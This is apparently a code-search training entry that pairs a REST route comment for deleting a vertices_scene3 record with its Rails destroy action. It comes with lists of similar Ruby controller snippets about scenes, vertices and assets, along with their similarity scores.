"def update\n respond_to do |format|\n if @vertices_scene1.update(vertices_scene1_params)\n format.html { redirect_to @vertices_scene1, notice: 'Vertices scene1 was successfully updated.' }\n format.json { render :show, status: :ok, location: @vertices_scene1 }\n else\n format.html { render :edit }\n format.json { render json: @vertices_scene1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # checks if user is authorized\n if authorise(request)\n # operation parameter tells what put operation should be done on vertex\n operation = params[:operation]\n case operation\n when 'connection'\n update_connection(params[:from_vertex_id], params[:to_vertex_id])\n when 'transformation'\n update_transformation(params[:id], params[:pos_x], params[:pos_y], params[:width],\n params[:height], params[:z_index])\n when 'attribute'\n update_attribute(params[:id], params[:name], params[:estimated_time], params[:clue],\n params[:description])\n else\n render json: { success: false, message: 'Operation does not exist' }, status: :bad_request\n end\n else\n render json: { success: false, message: 'Unauthorized' }, status: 401\n end\n end",
"def update\n\n respond_to do |format|\n if @scene.update_attributes(params[:scene])\n format.html { redirect_to edit_project_scene_path(@scene.project, @scene) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @vertices_scene2.update(vertices_scene2_params)\n format.html { redirect_to @vertices_scene2, notice: 'Vertices scene2 was successfully updated.' }\n format.json { render :show, status: :ok, location: @vertices_scene2 }\n else\n format.html { render :edit }\n format.json { render json: @vertices_scene2.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vertices_scene3_params\n params.require(:vertices_scene3).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def update\n respond_to do |format|\n if @position_scene3.update(position_scene3_params)\n format.html { redirect_to @position_scene3, notice: 'Position scene3 was successfully updated.' }\n format.json { render :show, status: :ok, location: @position_scene3 }\n else\n format.html { render :edit }\n format.json { render json: @position_scene3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @scene.update(scene_params)\n format.html { redirect_to scenario_scenes_path(@scenario), notice: \"Scene was successfully updated.\" }\n format.json { render :show, status: :ok, location: @scene }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @scene.update(scene_params)\n format.html { redirect_to edit_scene_path(@scene.id), notice: 'Scene was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @scene_object.update(scene_object_params)\n format.html { redirect_to @scene_object, notice: 'Scene object was successfully updated.' }\n format.json { render :show, status: :ok, location: @scene_object }\n else\n format.html { render :edit }\n format.json { render json: @scene_object.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vertices_scene3 = VerticesScene3.new(vertices_scene3_params)\n\n respond_to do |format|\n if @vertices_scene3.save\n format.html { redirect_to @vertices_scene3, notice: 'Vertices scene3 was successfully created.' }\n format.json { render :show, status: :created, location: @vertices_scene3 }\n else\n format.html { render :new }\n format.json { render json: @vertices_scene3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_vertices_scene1\n @vertices_scene1 = VerticesScene1.find(params[:id])\n end",
"def update_transformation(id, pos_x, pos_y, width, height, z_index)\n if id.nil? || pos_y.nil? || pos_x.nil? || width.nil? || height.nil? || z_index.nil?\n render json: { status: 'FAILED', message: 'Ensure correct parameters are given' }, status: :bad_request\n return\n end\n req = UpdateVertexRequest.new(id, pos_x, pos_y, width, height, z_index)\n resp = @@room_service.update_vertex(req)\n render json: { success: resp.success, message: resp.message }, status: :ok\n rescue StandardError\n render json: { success: false, message: 'Vertex might not exist' }, status: :bad_request\n end",
"def destroy\n @vertices_scene3.destroy\n respond_to do |format|\n format.html { redirect_to vertices_scene3s_url, notice: 'Vertices scene3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def index\n @vertices_scene3s = VerticesScene3.all\n end",
"def update_vertex(request)\n raise 'Request null' if request.nil?\n\n vertex = Vertex.find_by_id(request.id)\n return UpdateVertexResponse.new(false, 'Vertex could not be found') if vertex.nil?\n\n vertex.posx = request.pos_x\n vertex.posy = request.pos_y\n vertex.width = request.width\n vertex.height = request.height\n vertex.z_index = request.z_index\n\n @response = if vertex.save\n UpdateVertexResponse.new(true, 'Vertex Updated')\n else\n UpdateVertexResponse.new(false, 'Incorrect Update Parameters')\n end\n end",
"def update!(**args)\n @normalized_vertices = args[:normalized_vertices] if args.key?(:normalized_vertices)\n @vertices = args[:vertices] if args.key?(:vertices)\n end",
"def vertices_scene1_params\n params.require(:vertices_scene1).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def position_scene3_params\n params.require(:position_scene3).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def set_vertices_scene2\n @vertices_scene2 = VerticesScene2.find(params[:id])\n end",
"def update!(**args)\n @city_objects = args[:city_objects] if args.key?(:city_objects)\n @transform = args[:transform] if args.key?(:transform)\n @vertex_xyz = args[:vertex_xyz] if args.key?(:vertex_xyz)\n end",
"def update\n if @vertex.update(vertex_params)\n respond_with(@vertex, location: vertices_url, notice: 'Vertex was successfully updated.')\n else\n respond_with(@vertex)\n end\n end",
"def update\n respond_to do |format|\n if @space_scene.update(space_scene_params)\n format.html { redirect_to @space_scene, notice: 'Space scene was successfully updated.' }\n format.json { render :show, status: :ok, location: @space_scene }\n else\n format.html { render :edit }\n format.json { render json: @space_scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @vertex = Vertex.find(params[:id])\n\n respond_to do |format|\n if @vertex.update_attributes(params[:vertex])\n format.html { redirect_to(@vertex, :notice => 'Vertex was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vertex.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @three.update(three_params)\n format.html { redirect_to @three, notice: 'Three was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @three.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @nowscene.update(nowscene_params)\n format.html { redirect_to @nowscene, notice: 'Nowscene was successfully updated.' }\n format.json { render :show, status: :ok, location: @nowscene }\n else\n format.html { render :edit }\n format.json { render json: @nowscene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @position_scene1.update(position_scene1_params)\n format.html { redirect_to @position_scene1, notice: 'Position scene1 was successfully updated.' }\n format.json { render :show, status: :ok, location: @position_scene1 }\n else\n format.html { render :edit }\n format.json { render json: @position_scene1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n @sphere = Sphere.find(params[:id])\n\n respond_to do |format|\n if @sphere.update_attributes(params[:sphere])\n format.html { redirect_to @sphere, notice: 'Sphere a été édité avec succès.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sphere.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_scene\n if params[:id].include? '.vtt'\n params[:id].slice! '_thumbs.vtt'\n params[:format] = :vtt\n end\n if params[:id].include? '.jpg'\n params[:id].slice! '_sprite.jpg'\n params[:format] = :jpg\n end\n\n if Scene.find_by(checksum: params[:id])\n @scene = Scene.find_by(checksum: params[:id])\n else\n @scene = Scene.find(params[:id])\n end\n end",
"def set_scene\n if params[:id].include? '.vtt'\n params[:id].slice! '_thumbs.vtt'\n params[:format] = :vtt\n end\n if params[:id].include? '.jpg'\n params[:id].slice! '_sprite.jpg'\n params[:format] = :jpg\n end\n\n if Scene.find_by(checksum: params[:id])\n @scene = Scene.find_by(checksum: params[:id])\n else\n @scene = Scene.find(params[:id])\n end\n end",
"def update!(**args)\n @geometries = args[:geometries] if args.key?(:geometries)\n @id = args[:id] if args.key?(:id)\n @type = args[:type] if args.key?(:type)\n end",
"def update\n if(params[:file])\n @unity3d.source=uploadfile(params[:file][\"file\"]) \n end\n respond_to do |format|\n if @unity3d.update(unity3d_params)\n format.html { redirect_to @unity3d, notice: 'Unity3d was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @unity3d.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @scene.update(scene_params)\n @scene.content = Sanitize.fragment(@scene.content, Sanitize::Config::RELAXED)\n @scene.save\n format.html { redirect_to @scene, notice: 'Scene was successfully updated.' }\n format.json { render :show, status: :ok, location: @scene }\n else\n format.html { render :edit }\n format.json { render json: @scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def scene_object_params\n params.require(:scene_object).permit(:kind, :locked, :position_x, :position_y, :position_z, :texture_type, :texture_url, :scale_x, :scale_y, :scale_z, :rotation_x, :rotation_y, :rotation_z, :hidden, :name)\n end",
"def update!(**args)\n @vertex_offsets = args[:vertex_offsets] if args.key?(:vertex_offsets)\n @z_order = args[:z_order] if args.key?(:z_order)\n end",
"def update\n respond_to do |format|\n if @factorial_scene1.update(factorial_scene1_params)\n format.html { redirect_to @factorial_scene1, notice: 'Factorial scene1 was successfully updated.' }\n format.json { render :show, status: :ok, location: @factorial_scene1 }\n else\n format.html { render :edit }\n format.json { render json: @factorial_scene1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def vertices_scene2_params\n params.require(:vertices_scene2).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def update!(**args)\n @container_image_uri = args[:container_image_uri] if args.key?(:container_image_uri)\n @version_aliases = args[:version_aliases] if args.key?(:version_aliases)\n @version_description = args[:version_description] if args.key?(:version_description)\n @version_id = args[:version_id] if args.key?(:version_id)\n @vertex_model_source_info = args[:vertex_model_source_info] if args.key?(:vertex_model_source_info)\n end",
"def update\n @lens = Lens.find(params[:id])\n attrb = select_params(lens_params)\n # linear_data is an array of Objects of Components Properties\n # that needs to be deserialized correctly\n attrb[\"linear_data\"] = JSON.parse(attrb[\"linear_data\"])\n lens = Lens.update(attrb)\n \n # @lens.update(lens_params)\n # render inline: \"<%= @lens.id %>\"\n end",
"def create\n @vertices_scene1 = VerticesScene1.new(vertices_scene1_params)\n\n respond_to do |format|\n if @vertices_scene1.save\n format.html { redirect_to @vertices_scene1, notice: 'Vertices scene1 was successfully created.' }\n format.json { render :show, status: :created, location: @vertices_scene1 }\n else\n format.html { render :new }\n format.json { render json: @vertices_scene1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sphere.update(sphere_params)\n format.html { redirect_to @sphere, notice: 'Sphere was successfully updated.' }\n format.json { render :show, status: :ok, location: @sphere }\n else\n format.html { render :edit }\n format.json { render json: @sphere.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n cube = Cube.find(params[:id])\n \n if cube.save!\n format.html { redirect_to @cube, notice: 'Cube was successfully updated.' }\n format.json { render :show, status: :ok, location: @cube }\n else\n format.html { render :edit }\n format.json { render json: @cube.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @sphere = Sphere.find(params[:id])\n\n respond_to do |format|\n if @sphere.update_attributes(params[:sphere])\n format.html { redirect_to(@sphere, :notice => 'Sphere was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sphere.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @vertices_scene1.destroy\n respond_to do |format|\n format.html { redirect_to vertices_scene1s_url, notice: 'Vertices scene1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def set_position_scene3\n @position_scene3 = PositionScene3.find(params[:id])\n end",
"def update!(**args)\n @metadata = args[:metadata] if args.key?(:metadata)\n @temporary_data = args[:temporary_data] if args.key?(:temporary_data)\n @vertex = args[:vertex] if args.key?(:vertex)\n end",
"def update\n respond_to do |format|\n if @s3image.update(s3image_params)\n format.html { redirect_to @s3image, notice: 'S3image was successfully updated.' }\n format.json { render :show, status: :ok, location: @s3image }\n else\n format.html { render :edit }\n format.json { render json: @s3image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @bench_test_s3 = BenchTest::S3.find(params[:id])\n\n respond_to do |format|\n if @bench_test_s3.update_attributes(params[:bench_test_s3])\n format.html { redirect_to(@bench_test_s3, :notice => 'S3 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bench_test_s3.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @id3.update(id3_params)\n format.html { redirect_to @id3, notice: 'Id3 was successfully updated.' }\n format.json { render :show, status: :ok, location: @id3 }\n else\n format.html { render :edit }\n format.json { render json: @id3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @geometry.update(geometry_params)\n format.html { redirect_to @geometry, notice: 'Geometry was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @geometry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_vertices(vertices)\n self.source = find_vertex(:source, vertices)\n self.target = find_vertex(:target, vertices)\n end",
"def update!(**args)\n @geometries = args[:geometries] if args.key?(:geometries)\n @type = args[:type] if args.key?(:type)\n end",
"def update\n find_asset\n @asset.update!(asset_params)\n\n render json: @asset, adapter: :json\n end",
"def put(path, *data, &block)\n map(path, R3::PUT, *data, &block)\n end",
"def put(*args)\n request :put, *args\n end",
"def update!(**args)\n @vertex_model_spec = args[:vertex_model_spec] if args.key?(:vertex_model_spec)\n end",
"def update\r\n $scene.update\r\n end",
"def update!(**args)\n @vertex_dataset_spec = args[:vertex_dataset_spec] if args.key?(:vertex_dataset_spec)\n end",
"def update\n respond_to do |format|\n if @shouldersbiceps3.update(shouldersbiceps3_params)\n format.html { redirect_to \"/shouldersbiceps3s\"}\n format.json { render :show, status: :ok, location: @shouldersbiceps3 }\n else\n format.html { render :edit }\n format.json { render json: @shouldersbiceps3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ol3_vector_style.update(ol3_vector_style_params)\n format.html { redirect_to @ol3_vector_style, notice: 'Ol3 vector style was successfully updated.' }\n format.json { render :show, status: :ok, location: @ol3_vector_style }\n else\n format.html { render :edit }\n format.json { render json: @ol3_vector_style.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @scene_connector.update(scene_connector_params)\n format.html { redirect_to @scene_connector, notice: 'Scene connector was successfully updated.' }\n format.json { render :show, status: :ok, location: @scene_connector }\n else\n format.html { render :edit }\n format.json { render json: @scene_connector.errors, status: :unprocessable_entity }\n end\n end\n end",
"def position_scene1_params\n params.require(:position_scene1).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end",
"def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n respond_to do |format|\n if @voxel.update(voxel_params)\n format.html { redirect_to @voxel, notice: '更新されました!' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @voxel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @s3_image = S3Image.find(params[:id])\n\n respond_to do |format|\n if @s3_image.update_attributes(params[:s3_image])\n format.html { redirect_to @s3_image, notice: 'S3 image was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @s3_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @child_asset_id = args[:child_asset_id] if args.key?(:child_asset_id)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @parent_asset_id = args[:parent_asset_id] if args.key?(:parent_asset_id)\n end",
"def destroy\n @vertices_scene2.destroy\n respond_to do |format|\n format.html { redirect_to vertices_scene2s_url, notice: 'Vertices scene2 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def put(*args)\n request(:put, *args)\n end",
"def put(path, params)\n parse_response @client[path].put(params)\n end",
"def create\n @vertices_scene2 = VerticesScene2.new(vertices_scene2_params)\n\n respond_to do |format|\n if @vertices_scene2.save\n format.html { redirect_to @vertices_scene2, notice: 'Vertices scene2 was successfully created.' }\n format.json { render :show, status: :created, location: @vertices_scene2 }\n else\n format.html { render :new }\n format.json { render json: @vertices_scene2.errors, status: :unprocessable_entity }\n end\n end\n end",
"def unity3d_params\n params.require(:unity3d).permit(:name, :category, :objectname,:source, :use, :plan,:num,:option)\n end",
"def update\n respond_to do |format|\n if @cp3.update(cp3_params)\n format.html { redirect_to @cp3, notice: 'Cp3 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @cp3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def scene_params\n params.require(:scene).permit(:name, :url, :user_id, :scene_type)\n end",
"def update\n respond_to do |format|\n if @three_score.update(three_score_params)\n format.html { redirect_to @three_score, notice: 'Three score was successfully updated.' }\n format.json { render :show, status: :ok, location: @three_score }\n else\n format.html { render :edit }\n format.json { render json: @three_score.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_attribute(request)\n flag = false\n\n vertex = Vertex.find_by_id(request.id)\n return UpdateAttributeResponse.new(false, 'Vertex id not valid') if vertex.nil?\n\n unless request.name.nil?\n vertex.name = request.name\n flag = true\n end\n unless request.time.nil?\n vertex.estimatedTime = request.time\n flag = true\n end\n\n unless request.clue.nil?\n vertex.clue = request.clue\n flag = true\n end\n unless request.description.nil?\n vertex.description = request.description\n flag = true\n end\n @response = if flag\n if vertex.save\n UpdateAttributeResponse.new(true, 'Vertex attributes updated')\n else\n UpdateAttributeResponse.new(false, 'Could not update vertex attribute')\n end\n else\n UpdateAttributeResponse.new(false, 'Incorrect vertex attributes given')\n end\n rescue StandardError => error\n puts error\n UpdateAttributeResponse.new(false, 'Error occurred while updating vertex attributes')\n end",
"def update\n if @shade.update(shade_params)\n render :show, status: :ok, location: v1_shade_url(@shade)\n else\n render json: @shade.errors, status: :unprocessable_entity\n end\n end",
"def update\n @short = true\n @scene = @character_scene.scene\n respond_to do |format|\n if @character_scene.update(character_scene_params)\n format.html do\n redirect_to return_or_default_path(scene_path(@character_scene.scene)), notice: 'Character scene was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @character_scene }\n flash.now[:notice] = \"Character scene was successfully updated.\"\n format.turbo_stream { render \"shared/update\", locals: { object: @character_scene, short: @short } }\n else\n format.html { render :edit }\n format.json { render json: @character_scene.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_scene_object\n @scene_object = SceneObject.find(params[:id])\n end",
"def update!(**args)\n @asset = args[:asset] if args.key?(:asset)\n @compression_format = args[:compression_format] if args.key?(:compression_format)\n @data_format = args[:data_format] if args.key?(:data_format)\n @project_id = args[:project_id] if args.key?(:project_id)\n end",
"def create\n @position_scene3 = PositionScene3.new(position_scene3_params)\n\n respond_to do |format|\n if @position_scene3.save\n format.html { redirect_to @position_scene3, notice: 'Position scene3 was successfully created.' }\n format.json { render :show, status: :created, location: @position_scene3 }\n else\n format.html { render :new }\n format.json { render json: @position_scene3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @texture = Texture.find(params[:id])\n\n respond_to do |format|\n if @texture.update_attributes(params[:texture])\n format.html { redirect_to @texture, :notice => 'Texture was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @texture.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @voxel = Voxel.find(params[:id])\n \n respond_to do |format|\n if @voxel.update_attributes(params[:voxel])\n format.html { redirect_to @voxel, notice: 'Voxel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @voxel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update!(**args)\n @asr_model = args[:asr_model] if args.key?(:asr_model)\n @doc_key = args[:doc_key] if args.key?(:doc_key)\n @lang = args[:lang] if args.key?(:lang)\n @mustang_doc_id = args[:mustang_doc_id] if args.key?(:mustang_doc_id)\n @url = args[:url] if args.key?(:url)\n @s3_mode = args[:s3_mode] if args.key?(:s3_mode)\n @s3_model_info_label = args[:s3_model_info_label] if args.key?(:s3_model_info_label)\n @transcript = args[:transcript] if args.key?(:transcript)\n end",
"def update!(**args)\n @bucket_id = args[:bucket_id] if args.key?(:bucket_id)\n @obj_id = args[:obj_id] if args.key?(:obj_id)\n end",
"def update\n @artefact = Artefact.find(params[:artefact_id])\n\n @asset = @artefact.assets.find(params[:id])\n\n respond_to do |format|\n if @asset.update_attributes(asset_params)\n format.html { redirect_to artefact_path(@artefact), notice: 'Asset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @asset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(params = {})\n params ||= {}\n params[:id] = @attributes[:id]\n raise MissingParameterError.new(\"Current object doesn't have a id\") unless @attributes[:id]\n raise InvalidParameterError.new(\"Bad parameter: id must be an Integer\") if params[:id] and !params[:id].is_a?(Integer)\n raise InvalidParameterError.new(\"Bad parameter: expires_at must be an String\") if params[:expires_at] and !params[:expires_at].is_a?(String)\n raise InvalidParameterError.new(\"Bad parameter: name must be an String\") if params[:name] and !params[:name].is_a?(String)\n raise InvalidParameterError.new(\"Bad parameter: paths must be an Array\") if params[:paths] and !params[:paths].is_a?(Array)\n raise MissingParameterError.new(\"Parameter missing: id\") unless params[:id]\n\n Api.send_request(\"/snapshots/#{@attributes[:id]}\", :patch, params, @options)\n end",
"def update\n respond_to do |format|\n if @baz3.update(baz3_params)\n format.html { redirect_to @baz3, notice: \"Baz3 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @baz3 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @baz3.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update!(**args)\n @geometry = args[:geometry] if args.key?(:geometry)\n @properties = args[:properties] if args.key?(:properties)\n @type = args[:type] if args.key?(:type)\n end",
"def update\n respond_to do |format|\n if @srticle.update(srticle_params)\n format.html { redirect_to @srticle, notice: 'Srticle was successfully updated.' }\n format.json { render :show, status: :ok, location: @srticle }\n else\n format.html { render :edit }\n format.json { render json: @srticle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @materials = args[:materials] if args.key?(:materials)\n @title = args[:title] if args.key?(:title)\n end",
"def put(path, params)\n request(:put, path, params)\n end",
"def update\n respond_to do |format|\n if @client_asset.update(client_asset_params)\n format.html { redirect_to @client_asset, notice: 'Client asset was successfully updated.' }\n format.json { render :show, status: :ok, location: @client_asset }\n else\n format.html { render :edit }\n format.json { render json: @client_asset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @vertices_scene1s = VerticesScene1.all\n end",
"def update\n record = Asset.find(params[:id])\n record.update_attributes(params[:record])\n \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end",
"def nowscene_params\n params.require(:nowscene).permit(:file_name, :vertices_number, :space_ratio, :position_difference, :colour_difference, :scene_score, :admin_panel_id, :user_panel_id)\n end"
] | [
"0.7052359",
"0.69707906",
"0.6641705",
"0.6636305",
"0.6583439",
"0.6511954",
"0.63546145",
"0.634106",
"0.631423",
"0.6267202",
"0.618779",
"0.61453265",
"0.6047909",
"0.6009059",
"0.5997659",
"0.5968267",
"0.596286",
"0.5947431",
"0.58590555",
"0.58210963",
"0.5792335",
"0.5763789",
"0.5755119",
"0.57418364",
"0.57381946",
"0.5714477",
"0.57088715",
"0.5692979",
"0.56821823",
"0.5676731",
"0.5676731",
"0.5673871",
"0.5650236",
"0.55861163",
"0.5565681",
"0.5562343",
"0.55584687",
"0.5533289",
"0.5530243",
"0.551807",
"0.5517236",
"0.5510576",
"0.55103225",
"0.5505344",
"0.55002993",
"0.54883635",
"0.5466188",
"0.54542476",
"0.5443827",
"0.54423904",
"0.5432312",
"0.5417845",
"0.541702",
"0.5413277",
"0.5327514",
"0.53236413",
"0.53187597",
"0.5316227",
"0.5282046",
"0.52792954",
"0.52777046",
"0.5274099",
"0.5271361",
"0.5267939",
"0.5254383",
"0.5251551",
"0.5250578",
"0.5249991",
"0.52467215",
"0.52400804",
"0.52179503",
"0.5200577",
"0.5200305",
"0.51841885",
"0.51840967",
"0.5174429",
"0.51721036",
"0.5164598",
"0.5157336",
"0.51499766",
"0.5145991",
"0.51459366",
"0.51409084",
"0.5140782",
"0.51394403",
"0.51336455",
"0.5129667",
"0.51293266",
"0.5127656",
"0.512178",
"0.511432",
"0.5107158",
"0.5105395",
"0.50962096",
"0.5095321",
"0.5094342",
"0.50914264",
"0.5084682",
"0.5081244",
"0.50808156"
] | 0.751043 | 0 |
DELETE /vertices_scene3s/1 DELETE /vertices_scene3s/1.json | def destroy
@vertices_scene3.destroy
respond_to do |format|
format.html { redirect_to vertices_scene3s_url, notice: 'Vertices scene3 was successfully destroyed.' }
format.json { head :no_content }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def destroy\n @vertices_scene1.destroy\n respond_to do |format|\n format.html { redirect_to vertices_scene1s_url, notice: 'Vertices scene1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vertices_scene2.destroy\n respond_to do |format|\n format.html { redirect_to vertices_scene2s_url, notice: 'Vertices scene2 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n\n @scene.destroy\n\n respond_to do |format|\n format.html { redirect_to action: \"index\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scene.destroy\n respond_to do |format|\n format.html { redirect_to scenes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @position_scene3.destroy\n respond_to do |format|\n format.html { redirect_to position_scene3s_url, notice: 'Position scene3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scene.destroy\n respond_to do |format|\n format.html { redirect_to scenario_scenes_path(@scenario), notice: \"Scene was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scene.destroy\n respond_to do |format|\n format.html { redirect_to scenes_url, notice: 'Scene was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @scene_object.destroy\n respond_to do |format|\n format.html { redirect_to scene_objects_url, notice: 'Scene object was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @unity3d.destroy\n respond_to do |format|\n format.html { redirect_to unity3ds_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vertex = Vertex.find(params[:id])\n @vertex.destroy\n\n respond_to do |format|\n format.html { redirect_to(vertices_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @nowscene.destroy\n respond_to do |format|\n format.html { redirect_to nowscenes_url, notice: 'Nowscene was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @position_scene1.destroy\n respond_to do |format|\n format.html { redirect_to position_scene1s_url, notice: 'Position scene1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @space_scene.destroy\n respond_to do |format|\n format.html { redirect_to space_scenes_url, notice: 'Space scene was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @factorial_scene1.destroy\n respond_to do |format|\n format.html { redirect_to factorial_scene1s_url, notice: 'Factorial scene1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @id3.destroy\n respond_to do |format|\n format.html { redirect_to id3s_url, notice: 'Id3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bench_test_s3 = BenchTest::S3.find(params[:id])\n @bench_test_s3.destroy\n\n respond_to do |format|\n format.html { redirect_to(bench_test_s3s_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @baz3.destroy\n respond_to do |format|\n format.html { redirect_to baz3s_url, notice: \"Baz3 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sphere = Sphere.find(params[:id])\n @sphere.destroy\n\n respond_to do |format|\n format.html { redirect_to spheres_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cp3.destroy\n respond_to do |format|\n format.html { redirect_to cp3s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shouldersbiceps3.destroy\n respond_to do |format|\n format.html { redirect_to shouldersbiceps3s_url, notice: 'Shouldersbiceps3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @txt3 = Txt3.find(params[:id])\n @txt3.destroy\n\n respond_to do |format|\n format.html { redirect_to txt3s_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @title3.destroy\n respond_to do |format|\n format.html { redirect_to title3s_url, notice: 'Title3 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @three.destroy\n respond_to do |format|\n format.html { redirect_to threes_url }\n format.json { head :no_content }\n end\n end",
